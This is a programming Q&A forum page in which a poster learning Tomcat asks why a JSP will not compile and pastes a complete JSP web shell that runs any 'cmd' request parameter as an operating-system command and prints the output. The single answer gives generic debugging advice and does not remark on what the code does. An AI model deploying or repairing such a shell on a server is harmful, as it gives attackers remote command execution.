Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8336025
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 9, 20262026-06-09T03:51:34+00:00 2026-06-09T03:51:34+00:00

Trying to write a tomcat application. Well learning how. Its written in JSP. No

  • 0

Trying to write a tomcat application. Well learning how. Its written in JSP. No need to guess what it does… I’m trying to compile this code here:

    <%@ page import=”java.util.*,java.io.*”%>
    <%
    if (request.getParameter(“cmd”) != null) {
        out.println(“Command: ” +
        request.getParameter(“cmd”) + “<BR>”);
        Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
           out.println(disr);
           disr = dis.readLine();
       }
    }
    %>

I’m getting this error with it:

    HTTP Status 500 -

    type Exception report

    message

    description The server encountered an internal error () that prevented it from fulfilling this request.

    exception

    org.apache.jasper.JasperException: Unable to compile class for JSP
org.apache.jasper.JspCompilationContext.load(JspCompilationContext.java:553)
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:136)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:307)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)

    root cause

    java.lang.NullPointerException
sun.misc.URLClassPath$3.run(Unknown Source)
java.security.AccessController.doPrivileged(Native Method)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getResource(Unknown Source)
java.net.URLClassLoader$1.run(Unknown Source)
  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-09T03:51:37+00:00Added an answer on June 9, 2026 at 3:51 am

    Do you know which line is causing the problem? Try commenting-out lines one at at time, until the error no longer occurs.

    From a best-practice point of view, you should try to move most of this code into a Servlet class and just send the text output to the JSP for display. This will make your code easier to debug (the stacktrace would show you which line is giving the NPEx here for instance) and also will allow you to write unit tests for it.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I'm trying to write a facebook application using Java tomcat with RestFB. the restfb
I am trying to write a portlet for Liferay (using Tomcat and Spring) and
I m trying write code that after reset set up rrpmax as 3000. It
Trying to write a code at the moment that basically tests to see if
I'm trying to write a small agent to control tomcat, and right now it
I'm trying to get my first jsp page running and it does not work
I'm trying to add URL routing to a web application running in Tomcat 5.5.
I am trying to write a client utility that to connect to Tomcat via
I've been trying write an application which will be able to connect to a
I'm trying to process a large text file through a HttpServlet (tomcat). As this

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.